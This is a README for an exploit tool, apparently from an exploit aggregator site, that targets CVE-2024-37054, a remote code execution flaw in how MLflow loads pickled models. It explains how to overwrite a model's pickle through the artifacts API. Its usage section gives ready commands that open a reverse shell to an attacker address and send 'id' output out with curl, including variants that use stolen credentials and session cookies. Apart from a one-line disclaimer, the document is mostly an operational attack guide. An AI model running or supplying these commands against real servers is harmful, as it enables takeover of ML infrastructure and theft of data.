Share
## https://sploitus.com/exploit?id=177FD468-7171-53E9-9C3E-AC561066B7E5
# CVE-2024-37054 โ€” MLflow pyfunc Deserialization RCE

**Severity:** Critical  
**Affected:** MLflow 0.9.0 โ€“ 2.14.1  
**Type:** Arbitrary code execution via Python pickle deserialization

## Description

`mlflow.pyfunc.load_model()` deserializes `python_model.pkl` from the artifact store without any sanitization. An attacker who can reach the MLflow artifacts REST API can overwrite that file with a malicious pickle, which executes arbitrary OS commands the next time the model is loaded.

## Files

| File | Purpose |
|------|---------|
| `exploit.py` | Generic exploit โ€” discovers models, poisons pickle, triggers RCE |
| `malicious_payload.py` | Standalone local model builder (useful for manual workflows) |

## Requirements

```bash
pip install requests cloudpickle
```

## Usage

```bash
# Enumerate registered models
python3 exploit.py --mlflow http://target:5000 list

# Reverse shell โ€” auto-selects first model, triggers via app endpoint
python3 exploit.py --mlflow http://target:5000 \
  --trigger-url http://target/predict \
  revshell 10.10.16.1 4444

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --model HiringModel --user admin --pass secret \
  --trigger-url http://app.target.com/predict \
  revshell 10.10.16.1 4444

# Blind command โ€” upload only, trigger model loading manually
python3 exploit.py --mlflow http://target:5000 \
  exec 'curl http://10.10.16.1/$(id|base64)'

# Skip discovery with known IDs
python3 exploit.py --mlflow http://target:5000 \
  --run-id  --exp-id  \
  --trigger-url http://target/predict \
  revshell 10.10.16.1 4444
```

## Key options

| Flag | Description |
|------|-------------|
| `--mlflow URL` | MLflow tracking server base URL (required) |
| `--model NAME` | Registered model name โ€” auto-selects first if omitted |
| `--version N` | Model version โ€” defaults to latest |
| `--user / --pass` | HTTP Basic Auth credentials for MLflow |
| `--run-id / --exp-id` | Bypass model discovery with known IDs |
| `--trigger-url URL` | App endpoint that calls `load_model()` โ€” omit to upload only |
| `--session COOKIE` | Session cookie sent with the trigger request |

## How it works

1. **Discover** โ€” query `/api/2.0/mlflow/registered-models/search` to find a model and its `run_id` / `experiment_id`
2. **Poison** โ€” `PUT` a malicious cloudpickle payload to `/api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl`
3. **Trigger** โ€” any code path calling `mlflow.pyfunc.load_model()` on that model unpickles the payload and executes the command

The trigger step requires an application endpoint that loads the model. If none is known, use `--no-trigger` (or omit `--trigger-url`) and trigger loading through any available means.

## Disclaimer

For authorized penetration testing and educational purposes only.